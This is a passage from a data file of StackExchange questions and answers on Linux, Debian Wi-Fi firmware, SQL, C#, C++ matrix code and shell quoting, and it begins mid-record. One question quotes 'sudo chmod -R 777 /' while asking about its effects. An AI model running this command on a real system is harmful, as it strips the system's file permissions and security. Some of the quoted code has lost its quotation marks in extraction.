lockd                  83389  2 nfs,nfsdfscache                45542  1 nfssunrpc                237402  6 nfs,nfsd,auth_rpcgss,lockd,nfs_aclath10k_pci             41341  0 ath10k_core           288619  1 ath10k_pcix86_pkg_temp_thermal    12951  0 coretemp               12820  0 ath                    26067  1 ath10k_corekvm                   388784  0 mac80211              548031  1 ath10k_corenvidia               8491586  0 crc32_pclmul           12915  0 cfg80211              437217  3 ath,mac80211,ath10k_coresnd_hda_codec_hdmi     45118  1 snd_hda_codec_realtek    67127  0 snd_hda_codec_generic    63181  2 snd_hda_codec_realteksnd_hda_intel          26327  4 snd_hda_controller     26646  1 snd_hda_intelaesni_intel           151423  1 aes_x86_64             16719  1 aesni_intelsnd_hda_codec         104500  5 snd_hda_codec_realtek,snd_hda_codec_hdmi,snd_hda_codec_generic,snd_hda_intel,snd_hda_controllerlrw                    12757  1 aesni_intelcompat                 22686  4 cfg80211,mac80211,ath10k_pci,ath10k_coresnd_hwdep              13148  1 snd_hda_codecgf128mul               12970  1 lrwglue_helper            12695  1 aesni_intelsnd_pcm                88662  4 snd_hda_codec_hdmi,snd_hda_codec,snd_hda_intel,snd_hda_controllerablk_helper            12572  1 aesni_intelcryptd                 14516  2 aesni_intel,ablk_helpersnd_timer              26614  1 snd_pcmsnd                    65244  16 snd_hda_codec_realtek,snd_hwdep,snd_timer,snd_hda_codec_hdmi,snd_pcm,snd_hda_codec_generic,snd_hda_codec,snd_hda_intelpsmouse                99249  0 soundcore              13026  2 snd,snd_hda_codecserio_raw              12849  0 pcspkr                 12595  0 shpchp                 31121  0 ideapad_laptop         17447  0 sparse_keymap          12818  1 ideapad_laptoprfkill                 18867  4 cfg80211,ideapad_laptop,bluetoothbattery                13356  0 ac                     12715  0 acpi_cpufreq           17218  0 acpi_pad               21165  0 evdev                  17445  11 processor              28221  5 acpi_cpufreqfuse                   83350  1 parport_pc             26300  0 ppdev                  16782  0 lp                     17074  0 parport                35749  3 lp,ppdev,parport_pcautofs4                35529  2 ext4                  473802  2 crc16                  12343  2 ext4,bluetoothmbcache                17171  1 ext4jbd2                   82522  1 ext4sg                     29973  0 sd_mod                 44356  4 crc_t10dif             12431  1 sd_modcrct10dif_generic      12581  0 nouveau              1122508  0 crct10dif_pclmul       13387  1 crct10dif_common       12356  3 crct10dif_pclmul,crct10dif_generic,crc_t10difcrc32c_intel           21809  0 mxm_wmi                12515  1 nouveaui2c_algo_bit           12751  2 i915,nouveauttm                    77862  1 nouveauahci                   33334  3 libahci                27158  1 ahcixhci_hcd              152977  0 drm_kms_helper         49210  2 i915,nouveaur8169                  68262  0 drm                   249955  6 ttm,i915,drm_kms_helper,nvidia,nouveaumii                    12675  1 r8169libata                177508  2 ahci,libahciscsi_mod              191405  3 sg,libata,sd_modusbcore               195427  4 btusb,uvcvideo,usbhid,xhci_hcdusb_common             12440  1 usbcorethermal                17559  0 wmi                    17339  2 mxm_wmi,nouveauvideo                  18096  2 i915,nouveauthermal_sys            27642  4 video,thermal,processor,x86_pkg_temp_thermali2c_hid                17410  0 hid                   102264  3 i2c_hid,hid_generic,usbhidi2c_core               46012  9 drm,i915,i2c_hid,drm_kms_helper,i2c_algo_bit,nvidia,v4l2_common,nouveau,videodevbutton                 12944  2 i915,nouveau"  , "title": "I can't connect to Wi-Fi, no wlan0 device on iwconfig"  , "tags": "debian;wifi"  , "accepted_answer": "Installing the needed firmware and backports will enable Wi-Fi.These commands will work flawlessly on Debian 8 in Lenovo Ideapad 500S-14ISK.Install some basic tools first, if you haven't them yet:sudo apt-get install vim git build-essentialGrab the firmware from github and copy the files you need in the system folder:# assuming that you use your Downloads folder to store the files needed.cd ~/Downloadsgit clone https://github.com/kvalo/ath10k-firmware.gitcd ath10k-firmware/QCA9377/hw1.0sudo mkdir -p /lib/firmware/ath10k/QCA9377/hw1.0sudo cp board.bin  /lib/firmware/ath10k/QCA9377/hw1.0sudo cp firmware-5.bin_WLAN.TF.1.0-00267-1 /lib/firmware/ath10k/QCA9377/hw1.0/firmware-5.binsudo modprobe -r ath10k_pci(I think nothing will actually change by the last line but I was doing it for sure I don't screw up anything)Download the backports, build it then install, following with reboot.cd .. # getting back to the Downloads folderwget https://www.kernel.org/pub/linux/kernel/projects/backports/2015/11/20/backports-20151120.tar.gztar -xf backports-20151120.tar.gzcd backports-20151120make defconfig-ath10k # pray for the make process here goes flawlessly.makesudo make installsudo modprobe ath10k_pcisudo reboot(ath10k_pci will starts running after reboot, so the last line before reboot was not necessary?)"  } 
{  "id": "_unix.84258"  , "question": "Background:I use Debian Lenny on an embedded device uname -aLinux device 3.4.0 #83 Sun May 26 17:07:14 CEST 2013 armv4l GNU/LinuxI have a C code (say my_C_program) that calls a board specific binary file (via system(spictl someparameters) ) called spictl to use SPI interface user:~# ls -al /usr/local/bin/spictllrwxrwxrwx  1 root staff      24 Jun  9  2011 spiflashctl -> /initrd/sbin/spiflashctlif I run my code (my_C_program) from the command lineuser:~# /user/sbin/my_C_programthe spictl is executed without problem and outputs data from the SPI interface. Problem:I need the program to be run when the board is powered. Therefore, I add /user/sbin/my_C_program line before the exit 0 at/etc/rc.local. When the board is powered, the my_C_program is executed and spictl is executed but the SPI interface does not output any data.I tried to run the program via /etc/init.d/ script on this link. The script works fine and it executes the my_C_program, the program executes the spictl successfully (as system() return value says), but the SPI interface does not output any data!ls -l /usr/sbin/my_C_program-rwxrwxrwx 1 root root 61713 Jun 28  2013 /usr/sbin/my_C_programtop shows that the program is run as root  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND                                                                           1095 root      20   0  2524 1140  924 R  4.2  1.8   0:00.35 top                                                                               1033 root      RT   0 35092  34m 1852 S  3.0 56.5   0:14.06 node Questionif I execute the my_C_program on terminal, the program calls the spictl (via system(spictl someparameters)) and it is executed without any problem. But if I run my_C_program through /etc/rc.local or /etc/init.d script, then spictl does not work as it supposed to be. I suspect that it has something to do with the root privilege. When I execute the program on the terminal (as root) all works fine. But I guess /etc/rc.local and /etc/init.d somehow runs the program with a lower privilege. I could not really solve the difference between executing a command from the terminal as root or executing the program via /etc/rc.local or /etc/init.d/ script. If you also think that it is a privilege problem, could you please explain how can I ensure that init.d script or rc.local would run the program with the highest privilege. Or what could be the issue?Please note that the problem/question is not SPI related.P.S. in order not to have unnecessary conversation like oh Debian lenny is too old, you should use wheezy etc., the board has armv4l processor and as the producer says it does not support wheezy because of some processor instructions."  , "title": "why do I have two different results if I run a program through terminal(as root) or /etc/init.d(or /etc/rc.local)"  , "tags": "debian;root;init script;privileges"  , "accepted_answer": "You're C executable probably requires some environment variables to be set to function. For example the env. variable $PATH or $LD_LIBRARY_PATH. There also other variables such as $HOME which won't be set until a user has logged in.This last one might be necessary for your app to access config files and/or log files, for example."  } 
{  "id": "_softwareengineering.27410"  , "question": "I'm an experienced developer with .NET, and understand core computing concepts well (OOP, design patterns, etc) but would like to also learn rails.  Is there a book out there that's the de-facto standard for describing best practices, design methodologies, and other helpful information on Ruby on Rails? What about that book makes it special?"  , "title": "Is there a canonical book on Ruby on Rails?"  , "tags": "books;ruby on rails"  , "accepted_answer": "Agile Web Development with Rails will bring you  up to speed at a relatively rapid pace.For learning the ins and outs of the Ruby language itself, I found Programming Ruby 1.9 helpful.Between those two books you'll know what you need to know to get going.If you are looking for free and online, Ruby on Rails Tutorial isn't bad at all."  } 
{  "id": "_scicomp.19217"  , "question": "I am seeking recommendations on how to compute the Binder ratio numerically accurate when doing Monte Carlo simulation on spin models. Binder ratio is defined as:$$ B = \\frac{\\langle M^4\\rangle}{\\langle M^2\\rangle^2}. $$Given a safe method to compute $M$ per metropolis sweep, one can get directly $M^2$ and $M^4$. If we take $N$ samples of these values, we can then get the average ones; $\\langle M\\rangle$, $\\langle M^2\\rangle$ and $\\langle M^4\\rangle$.Then one can compute the Binder ratio. But near the critical temp, the results are not so precise. Am I having too much floating point error in $\\langle M^2\\rangle$ and $\\langle M^4\\rangle$?An example of how the Binder ratio looks, it was a very short simulation. A proper simulation generates the very smooth curve, with little standard error, but the spike remains.Edit: It is a parallel tempering simulation, it might be possible that the cause for the unexpected Binder Ratio could be related to measuring too early when replicas are not thermalized properly."  , "title": "Accurate way for computing a ratio coming from Monte Carlo simulation"  , "tags": "numerical"  } 
{  "id": "_softwareengineering.270381"  , "question": "I want to create a Microservices application, in which every microservice is responsible for its own part of the front end. At the same time, I want to create the front end in AngularJS as a Single Page Application (SPA). When a new microservice gets deployed, the web front end would automatically pick up the new front end part and add it to the SPA. What would be the best way of realising this?This is what I came up with. Each microservice could be responsible for its own Angular module. Then when the customer navigates to the application, a server component (ASP.NET or JSP) could see which microservices are online and create an html page which includes the angular modules from those microservices. What the front end component can also do, is enable some microservices to some specific customers which have extended privileges, like admins or VIP customers. Of course, for this to work, I need a nice structured way for each microservice to take up a part of the screen, without 'knowing' what other microservices are on the screen. A simple solution would be to create a tab for each microservice. On the tab, the microservice in charge can put its functionality on the page. The front end component would be responsible for general stuff like (angular-)routing and look-and-feel.Is this the best way of realising this goal? Does anyone have experience with this?"  , "title": "Create an AngularJS front end for a Microservices application"  , "tags": "angularjs;front end;microservices"  } 
{  "id": "_codereview.143138"  , "question": "For homework I had to do the following:Give a list of all the teachers that don't have a classroom assigned to them.It involves the following 2 tables:Code inside Groups table would be the classroom in this case and TeacherId matches the Id inside Teachers table.My solution to the problem is the following query:SELECT Id, FirstName, MiddleName, LastNameFROM TeachersWHERE Id NOT IN (SELECT TeacherId FROM Groups)It works perfectly, however, I wonder if there was a better solution using JOINs.Edit:I should mention there is a CONSTRAINT on the Groups table:ALTER TABLE GroupsADD CONSTRAINT [FK_Groups_Teachers]FOREIGN KEY (TeacherId)REFERENCES [Teachers] ([Id])"  , "title": "SQL query to select all teachers not in different table"  , "tags": "sql"  , "accepted_answer": "Your query using NOT IN is good, but you can also use LEFT JOIN and keep only the teachers who don't have Groups:SELECT t.Id, FirstName, MiddleName, LastNameFROM Teachers t LEFT JOIN Groups g ON t.Id=g.TeacherIdWHERE g.TeacherId IS NULL"  } 
{  "id": "_codereview.164"  , "question": "Is this code good enough, or is it stinky? using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.IO;namespace DotNetLegends{    public class LogParser    {        /// <summary>        /// Returns a populated Game objects that has a list of players and other information.        /// </summary>        /// <param name=pathToLog>Path to the .log file.</param>        /// <returns>A Game object.</returns>        public Game Parse(string pathToLog)        {            Game game = new Game();            //On actual deployment of this code, I will use the pathToLog parameter.            StreamReader reader = new StreamReader(@D:\\Games\\Riot Games\\League of Legends\\air\\logs\\LolClient.20110121.213758.log);            var content = reader.ReadToEnd();            game.Id = GetGameID(content);            game.Length = GetGameLength(content);            game.Map = GetGameMap(content);            game.MaximumPlayers = GetGameMaximumPlayers(content);            game.Date = GetGameDate(content);            return game;        }        internal string GetGameID(string content)        {            var location = content.IndexOf(gameId);            var gameID = content.Substring(location + 8, 10);            gameID = gameID.Trim();            return gameID;        }        internal string GetGameLength(string content)        {            var location = content.IndexOf(gameLength);            var gamelength = content.Substring(location + 13, 6);            gamelength = gamelength.Trim();            var time = Convert.ToInt32(gamelength) / 60;            return time.ToString();        }        internal string GetGameMap(string content)        {            var location = content.IndexOf(mapId);            var gameMap = content.Substring(location + 8, 1);            switch (gameMap)            {                case 2:                    return Summoner's Rift;                default:                    return nul;            }        }        internal string GetGameMaximumPlayers(string content)        {            var location = content.IndexOf(maxNumPlayers);            var maxPlayers = content.Substring(location + 16, 2);            maxPlayers = maxPlayers.Trim();            return maxPlayers;        }        internal string GetGameDate(string content)        {            var location = content.IndexOf(creationTime);            var creationDate = content.Substring(location + 14, 34);            creationDate = creationDate.Trim();            return creationDate;        }    }}"  , "title": "Parsing a file for a game"  , "tags": "c#;game;parsing"  , "accepted_answer": "You have a lot of undescriptive magic numbers and code repetition whilst retrieving the contents of a field. You could eliminate the repetition and make those numbers a little more meaningful by introducing a single method:protected string GetFieldContent(string content, string field,    int padding, int length){    var location = content.indexOf(field);    padding += field.Length;    var fieldVal = content.Substring(location + padding, length);    fieldVal = fieldVal.Trim();    return fieldVal;}Use it like so:internal string GetGameMaximumPlayers(string content){    var maxPlayers = GetFieldContent(content, maxNumPlayers, 3, 2);    return maxPlayers;}Something to note here is the padding value has changed. You no longer need to include the length of the field name itself and can just describe the number of junk characters afterwards.Padding lengthUpon examining your code I noticed one peculiarity - the fields have inconsistent, magical padding lengths:gameID padding: 2gameLength padding: 3mapId padding: 3maxNumPlayers padding: 3creationTime padding: 2As a symptom of these being magic numbers I have no idea why this is the case. This is one of the many reasons to avoid magic numbers like the plague: it's difficult to understand their meaning. I'll trust you to evaluate whether varying padding lengths is necessary, or whether you can just assume a constant padding for all fields.If we can assume a constant padding amount for all fields then we can change the code further a little bit to make your life easier. There are two steps to this change.First, give your LogParser class a private field:private const var defaultPadding = 2Second, GetFieldContent can be refactored to produce this:protected string GetFieldContent(string content, string field, int length){    var location = content.indexOf(field);    var padding = defaultPadding + field.Length;    var fieldVal = content.Substring(location + padding, length);    fieldVal = fieldVal.Trim();    return fieldVal;}Then getting the contents of a field becomes simpler:var maxPlayers = GetFieldContent(content, maxNumPlayers, 2);"  } 
{  "id": "_webapps.54013"  , "question": "I recently created a Facebook group.  I'd like to invite a bunch of people to join the group instead of adding them without their permission.  Is this possible?"  , "title": "Is it possible to quickly invite people to join a group rather than just adding them?"  , "tags": "facebook;facebook groups"  } 
{  "id": "_unix.312104"  , "question": "There are ways to configure dead keys in Linux to mimic the behavior they have in Windows ?This document describe how it works in Windows:US-Int'l Keyboard Layout to Type Accented CharactersThe difference between Linux and Windows dead keys is highlighted in bold: When you press the APOSTROPHE (') key, QUOTATION MARK () key, ACCENT GRAVE (`) key, TILDE (~) key, ACCENT CIRCUMFLEX key, or CARET (^) key, nothing appears on the screen until you press the a second key. If you press one of the letters designated as eligible to receive an accent mark, the accented version of the letter appears. If you press an ineligible key, two separate characters appear.In Linux when you press a second key not eligible to receive a accent, the first key pressed is lost. This reduce the typing productivity, a lot."  , "title": "Make dead keys insert both characters if the combination is not recognized"  , "tags": "x11;keyboard layout;xkb;dead keys"  } 
{  "id": "_softwareengineering.165379"  , "question": "I would like to know what documents (ISO?) should I follow when I write a functional specification. Or what should designers follow when creating the system design? I was told that there was a progress in last years but was not told what the progress was in (college professor). Thank youEDIT: I do not speak about document content etc. but about standards for capturing requirements, for business analysis."  , "title": "What norms/standards should I follow when writing a functional spec?"  , "tags": "design;documentation;standards"  , "accepted_answer": "I'm more of a CMMI fan, but that might be because I've gone through the pain of getting to level 3 -- on what was originally a research project. If we knew what we were doing we wouldn't call it research. That's a bit counter to the concepts of to any those software quality / process improvement efforts. I've also been with organizations that became ISO 9001 certified.Both CMMI and ISO can be a bit (more than a bit!) burdensome. Getting certified at CMMI-DEV 3 is costly, in dollars and in time. Quality is not free. (At least that silly management mantra went out the door.) IMO, CMMI level 2 is a reasonable target for most organizations; CMMI 3 is where you start to need to be very sure the product is right. CMMI 4 and beyond: I wouldn't want to work there. The stuff I work on, if done wrong, could lead to hundred of million dollar catastrophes. Research project quality, or even CMMI 2, was not good enough. CMMI 4 was (thankfully) deemed too counterproductive."  } 
{  "id": "_unix.284449"  , "question": "I usually use GNOME as a desktop for Debian and when I install a program like Terminator via apt I can immediately find it in the drop-down menu and drag a shortcut to it in the toolbar if I like.I decided to try Cinnamon with a Debian VM I created, however I'm unable to find any of the programs I've installed via apt in the menu.The programs are there, because I can run them from the command line. Launching them from the command line is not preferable though, both because it takes longer than clicking a shortcut and because it makes it such that I have to keep the original terminal running while using whatever program I launch from it.Is there either a way to make these programs automatically show up in the menu or can I find them in the filesystem somewhere and add a toolbar shortcut that way? Terminator is suitable for an example. I tried finding it with find and by looking in bin but I didn't see it."  , "title": "Apt-get installed programs in Debian Cinnamon Desktop"  , "tags": "debian;cinnamon"  , "accepted_answer": "There's a bug here for that issue.Options are to:Log out and back in again.Press Alt+F2 then press r then Enter to restart Cinnamon."  } 
{  "id": "_softwareengineering.318938"  , "question": "I have around 30 not-changing objects (the amount of them is final, no more can be added or removed). Each object has an id as well as some booleans describing what the object is and what it isn't. Now, each objects has a variable that must be changed at runtime. Most of these variables are just an integer, but some also have strings, lists, etc.Now I'm wondering how to implement this. My current attempt is an enum with the given objects, their properties and methods to change them (for the variable I chose just object as type, to store both integers and lists). It works, but it doesn't feel like the proper, OO-way to do this. What are the alternatives? The programming language is Java, if that matters.Here's my attempt (a bit more complicated than what I explained above):public enum StatusInfos {    THING_1(id0, false ,false, false, NOT_UPGRADABLE),    THING_1_WITH_HAT(id1, true, false, false, NOT_UPGRADABLE),    ANOTHER_THING(id2, false, false, false, NOT_UPGRADABLE),    GREEN_THING(id3, true, false, false, NOT_UPGRADABLE),    TALKING_DUCK(id4, true, false, false, NOT_UPGRADABLE);    private final String id;    private final Boolean hasAdditionalValue;    private Double value;    private Double additionalValue;    private boolean needsDouble;    private boolean needsPerCent;    private Integer upgradeCategory;    private Object additionalValue;    StatusInfos(String id, Boolean hasAdditionalValue, boolean needsDouble, boolean needsPerCent, Integer upgradeCategory){        this.id = tag;        this.hasAdditionalValue = hasAdditionalValue;        this.needsDouble = needsDouble;        this.needsPerCent = needsPerCent;        this.upgradeCategory = upgradeCategory;    }    public String id(){        return id;    }    public Double value(){        return value;    }    public void setValue(Double value){        this.value = value;    }    public boolean hasAdditionalValue(){        return hasAdditionalValue;    }    public Double additionalValue(){        return additionalValue;    }    public void setAdditionalValue(Double newAdditionalValue){        additionalValue = newAdditionalValue;    }    public boolean hasSpecialValue(){        return false;    }    public Object specialValue(){        return null;    }    public void setSpecialValue(Object newValue){        return;    }    public boolean needsNumbersAfterComma(){        return needsDouble;    }    public boolean needsPerCent(){        return needsPerCent;    }    public Integer getUpgradeCategory() {        return upgradeCategory;    }    public Object getAdditionalValue(){       return additionalValue;    }    public void setAdditionalValue(Object additionalValue)       this.additionalValue = additionalValue;    }}"  , "title": "How to store many global variables?"  , "tags": "java;programming practices"  , "accepted_answer": "I'd define a class containing all of the common stuff (is the list of booleans the same among these objects?) and their getters and setters, then subclass depending on the type of the changeable item within, then put them all into a container optimized for how you look up these things (id, probably).This way, you have one global."  } 
{  "id": "_webapps.33220"  , "question": "How can I copy cell values rather than references from one sheet to another?  Right now using Filter, Query and ArrayFormula creates references which create empty cells and disallow sorting of the sheet. I need the copy to only carry through values and not references.  "  , "title": "How can I copy cell values rather than references from one sheet to another in Google Sheets"  , "tags": "google spreadsheets"  } 
{  "id": "_unix.353812"  , "question": "Hypothetical situation:What would be the long term effects of running sudo chmod -R 777 /? I know that it means that all users have full permissions on all files, but are there any other side-effects?"  , "title": "sudo chmod-R 777 /"  , "tags": "chmod"  } 
{  "id": "_unix.321422"  , "question": "I have a little open source project that for various reasons I've tried to write in reasonably portable shell script. Its automated integration tests check that hostile characters in path expressions are treated properly, among other things.Users with /bin/sh provided by bash are seeing a failure in a test that I've simplified down to the following:echo A bug\\\\'s lifeecho A bug\\\\\\\\'s lifeOn bash, it produces this expected result:A bug\\'s lifeA bug\\\\'s lifeWith dash, which I've developed against, it does this:A bug\\'s lifeA bug\\'s lifeI'd like to think that I haven't found a bug in dash, that I might be missing something instead. Is there a rational explanation for this?"  , "title": "Why does dash expand \\\\\\\\ differently to bash?"  , "tags": "bash;shell script;quoting;echo;dash"  , "accepted_answer": "Inecho A bug\\\\'s lifeBecause those are double quotes, and \\ is special inside double quotes, the first \\ is understood by the shell as escaping/quoting the second \\. So a A bug\\'s life argument is being passed to echo.echo A bug\\'s lifeWould have achieved exactly the same. ' being not special inside double quotes, the \\ is not removed so it's the exact same argument that is passed to echo.As explained at Why is printf better than echo?, there's a lot of variation between echo implementations.In Unix-conformant implementations like dash's, \\ is used to introduce escape sequences: \\n for newline, \\b for backspace, \\0123 for octal sequences... and \\\\ for backslash itself.Some (non-POSIX) ones require a -e option for that, or do it only when in conformance mode (like bash's when built with the right options like for the sh of OS/X or when called with SHELLOPTS=xpg_echo in the environment).So in standard (Unix standard only; POSIX leaves the behaviour unspecified) echos,echo '\\\\'same as:echo \\\\\\\\outputs one backslash, while in bash when not in conformance mode:echo '\\\\'will output two backslashes.Best it to avoid echo and use printf instead:$ printf '%s\\n' A bug\\'s lifeA bug\\'s lifeWhich works the same in this instance in all printf implementations."  } 
{  "id": "_codereview.123867"  , "question": "I'm trying to find the shortest and best way to achieve the following:Given input integer $N, get the following output:n = 0, output = 0 n = 1, output = 0 n = 2, output = 10 n = 3, output = 100 n = 4, output = 1000 n = 5, output = 10000I do this with the following code, but there must be a better option to do this.<?php    $n = 1;    function getNumber($n) {        if ($n === 0 OR $n === 1) {            return 0;        } else {            return 1.str_repeat(0, $n -1);        }    }    echo getNumber($n);?>"  , "title": "Get number from N"  , "tags": "php;php5;integer"  , "accepted_answer": "Maybe you want something short like isecho ($n <= 1) ? 0 : pow(10, $n - 1);"  } 
{  "id": "_unix.45302"  , "question": "Okay, first off, this is not a problem I am facing, but I would like to understand this better.If I wish to shutdown / reboot my machine from the command line I need to call:$ sudo poweroff$ sudo rebootThat is, I need root privileges to make these ACPI calls. However, I start my DE, (I use XFCE) without granting it root privileges:    $ startxfce4 --with-ck-launchNow, I know that the --with-ck-launch parameter helps allows XFCE to shutdown / reboot my system, but I do not understand how.What allows ConsoleKit to shutdown without root privileges? How can it change the runlevel without super-user privileges? And since it is possible, how can I shutdown my machine from the console without root privileges?"  , "title": "How do DE's call ACPI functions?"  , "tags": "linux;not root user;shutdown;privileges;consolekit"  , "accepted_answer": "You can communicate with ConsoleKit through dbus. For example using the dbus-send tool a few notable commands are,Shutdown: dbus-send --system --print-reply --dest=org.freedesktop.ConsoleKit /org/freedesktop/ConsoleKit/Manager org.freedesktop.ConsoleKit.Manager.StopReboot:dbus-send --system --print-reply --dest=org.freedesktop.ConsoleKit /org/freedesktop/ConsoleKit/Manager org.freedesktop.ConsoleKit.Manager.RestartThere are also commands for hibernate and suspend but I do not know what they are.edit:Found suspend commanddbus-send --system --print-reply --dest=org.freedesktop.Hal /org/freedesktop/Hal/devices/computer org.freedesktop.Hal.Device.SystemPowerManagement.Suspend int32:0On newwer systemsdbus-send --system --print-reply --dest=org.freedesktop.UPower /org/freedesktop/UPower org.freedesktop.UPower.Suspend"  } 
{  "id": "_softwareengineering.221339"  , "question": "What if, instead of looking at the C++ specification, you analyze the behavior (by inspecting the source code and testing with sample inputs) of existing C++ compilers and use your knowledge of C++ to create a new compiler? Is it a good way to implement programming languages? What are the possible disadvantages of this approach?"  , "title": "Implementing a programming language without the specification"  , "tags": "reverse engineering"  } 
{  "id": "_unix.18628"  , "question": "Can anyone suggest a script that will take as input the name of one or more directories and a media size, and output lists of files for input to tar using -T (assuming no compression)?scdbackup/sdvdbackup sort of does this, but it's full of bloat that I don't need. So basically looking for something like this:./splitTars file1 file2 .... 2.0Twhere file can be a file or directory, and the last argument is the size of the media (e.g. 2TB). It should then output a file list for each tar archive and give a warning for files that are too big to fit on the media. If nothing like this exists, one way to do it would be to create the list of files using find, re-arrange them in increasing or decreasing size, then start cutting the list up into pieces."  , "title": "Generating sets of files that fit on a given media size for tar -T"  , "tags": "scripting;disk usage;tar"  } 
{  "id": "_unix.110479"  , "question": "On FreeBSD 8.3 I'm running script (as root):/usr/local/etc/rc.d/foo/foo.sh startcontent is typical:. /etc/rc.subrname=foorcvar=${name}_enableload_rc_config ${name}required_files=${foo_conf}in /etc/rc.d.local I have:foo_conf=/cf/foo/config/foorcAnd when I start it I get:/usr/local/etc/rc.d/foo.sh: WARNING: /cf/foo/config/foorc is not readable./usr/local/etc/rc.d/foo.sh: WARNING: failed precmd routine for fooBut when I run application (/usr/local/bin/foo) directly with -f parameter as /cf/foo/config/foorc application starts normal.Permission for foorc file: -rwxr-xr-x and for directory: drwxr-xr-x.Fragment in rc.subr looks like:check_required_before(){    for _f in $required_files; do    if [! -r ${_f} ]; then    warn ${_f} is not readable    fi    done}It is permission problem or what?"  , "title": "rc.subr can't access file?"  , "tags": "permissions;freebsd;rc"  } 
{  "id": "_codereview.149669"  , "question": "This is improved code after I some issue in  pointed by @Edward  in the last question: C++ operator overloading for matrix operations This work assignment in operator overloading .I need to use operators *, [][], =, +, -, << on objects of type matrix for example add to matrix using this code: m=m+s.I already sent the code to my teacher but I still  want your opinion so I can improve the next code.matrix.h #ifndef Matrix_h#define Matrix_h#include <iostream>class Matrix{ private:  int rows;  int cols;  int **Mat;  public:    Matrix (const int &rows,const int &cols);    Matrix(const Matrix &other);    ~Matrix ();    int* & operator[](const int &index) const ;    void operator=(const Matrix &other );    Matrix  operator -()const;    Matrix  operator -(const Matrix &other)const;    Matrix  operator +(const Matrix &other)const ;    Matrix  operator *(const Matrix &other)const;    Matrix  operator *(const int &num)const;    int getMatrixRows(const Matrix &other){return other.rows;}    int getMatrixCols(const Matrix &other){return other.cols;}    friend  Matrix operator *(const int & num,const Matrix &m)    {     return (m*num);    }    friend Matrix operator +(const int &num,const Matrix &t)    {     return (num+t);    }    friend std::ostream &operator<<(std::ostream &os, const Matrix &m) {    for (int i=0; i < m.rows; ++i) {        for (int j=0; j < m.cols; ++j) {            os << m.Mat[i][j] <<    ;        }        os << '\\n';    }    return os;}};#endifmatrix.cpp#include Matrix.h#include <iostream>#include <cassert>Matrix::Matrix(const int &n_rows,const int &n_cols )//constructor of class Matrix{    rows=n_rows;     cols=n_cols;    Mat=new int* [cols];    assert(Mat);    for(int i =0;i<rows;i++)    {       Mat[i]=new int[cols];       assert(Mat[i]);    }    for(int i=0;i<rows;i++)      for(int j=0;j<cols;j++)        Mat[i][j]=0;            } Matrix::Matrix(const Matrix &other)  //copy constructor{    cols=other.cols;    rows=other.rows;    Mat=new int* [other.rows];    assert(Mat);    for(int i =0;i<other.rows;i++)    {       Mat[i]=new int[other.cols];       assert(Mat[i]);    }    for(int i=0;i<other.rows;i++)      for(int j=0;j<other.cols;j++)            Mat[i][j]=other[i][j];}int* & Matrix::operator [](const int &index) const  // overloading operator []{  return  Mat [index];}void Matrix::operator=(const Matrix &other )   // overloading operator ={    if(Mat !=other.Mat && cols==other.cols && rows==other.rows)     {       for(int i=0;i<rows;i++)        for(int j=0;j<cols;j++)            Mat[i][j]=other.Mat[i][j];     }} Matrix  Matrix::operator-()const   // overloading operator -{    Matrix temp(rows,cols);     for(int i=0;i<rows;i++)        for(int j=0;j<cols;j++)            temp.Mat[i][j]=Mat[i][j]*-1;   return temp;} Matrix  Matrix::operator +(const Matrix &other)const  //add 2 matrix{    Matrix temp(rows,cols);      if (rows!=other.rows ||cols!=other.cols)    {       for(int i=0;i<rows;i++)        for(int j=0;j<cols;j++)            temp.Mat[i][j]=Mat[i][j];       return temp;    }    else     {               for(int i=0;i<rows;i++)             for(int j=0;j<cols;j++)                 temp.Mat[i][j]+=other.Mat[i][j]+Mat[i][j];     }    return temp; }Matrix  Matrix::operator *(const Matrix &other)const   //multiplay matrix on the right{    if (cols!=other.rows)    {      Matrix temp(cols,rows);      for(int i=0;i<rows;i++)        for(int j=0;j<cols;j++)            temp.Mat[i][j]=Mat[i][j];      return temp;    }    else    {      Matrix temp(cols,other.rows);        for(int i=0;i<rows;i++)          for(int j=0;j<other.cols;j++)            for(int k =0;k<cols;k++)                temp[i][j]+=Mat[i][k]*other.Mat[i][j];      return temp;              }}Matrix  Matrix::operator *(const int &num)const   //multiplay with number{    Matrix temp(rows,cols);    for(int i=0;i<rows;i++)       for(int j=0;j<cols;j++)            temp.Mat[i][j]=Mat[i][j]*num;    return temp; }Matrix  Matrix::operator -(const Matrix &other)const //matrix subtraction {    Matrix temp(rows,cols);      if (rows!=other.rows ||cols!=other.cols)    {       for(int i=0;i<rows;i++)        for(int j=0;j<cols;j++)            temp.Mat[i][j]=Mat[i][j];       return temp;    }    else     {         for(int i=0;i<rows;i++)             for(int j=0;j<cols;j++)                 temp.Mat[i][j]+=Mat[i][j]-other.Mat[i][j];     }    return temp;}Matrix::~Matrix ()//destrucor { for(int i =0;i<rows;i++)   delete [] Mat[i];  delete [] Mat;}main.cpp#include Matrix.h#include <iostream>int main(){    Matrix m(2, 2);    m[0][0] = 2;    m[1][1] = 2;    std::cout << m << std::endl;    m = m;    const Matrix s = -m;    std::cout << m << std::endl << s << std::endl;    m = s+2 * -m * m * 2 - s;    std::cout << m << std::endl << s << std::endl;    std::cout << s[1][1] << std::endl;    return 0 ; }I have been told to throw exceptions rather than asserts and to make your base class destructor virtual. What is the right way to do it? I never used exception before and not familiar with the concept of virtual destructor.Prefer a single allocation instead of doing multiple allocations in the constructor, it would be simpler to do only a single allocation. This is both faster and simpler@Edward wrote this, but is it possible to allocate 2 dimensional array with an allocation?Another thing I didn't understand is what to do when main is trying to use the function illegally for example add 2 matrix that not in the same size. I created a new object and gave him the same data as one then called the function and returned it. m=m+s in this example, if m and s are not in the same size I just returned new object with the values of m. Is it the right way?"  , "title": "C++ operator overloading for matrix operations - follow-up"  , "tags": "c++;beginner;overloading"  } 
{  "id": "_webmaster.24943"  , "question": "I have multilanguage website targeting by subdomain:http://en.site.com/ - Displays only contents in Englishhttp://de.site.com/ - Displays only contents in German...http://site.com/ - Displays contents in all languagesTitle/Description are also translated depending on subdomain. Main domain is in English.I would like to have different Title/Description on main domain http://site.com/ for users from different region:http://google.co.uk/ should display Title/Description in Englishhttp://google.de/ should display Title/Description in GermanMy question:For main domain http://site.com/ is it possible to return different Title/Description for Google bot from different regions? Or there is only one Google bot and targeting is only completed by search engine, not crawler?Thank you!"  , "title": "Different Title/Description for Google in different regions"  , "tags": "google search;multilingual"  } 
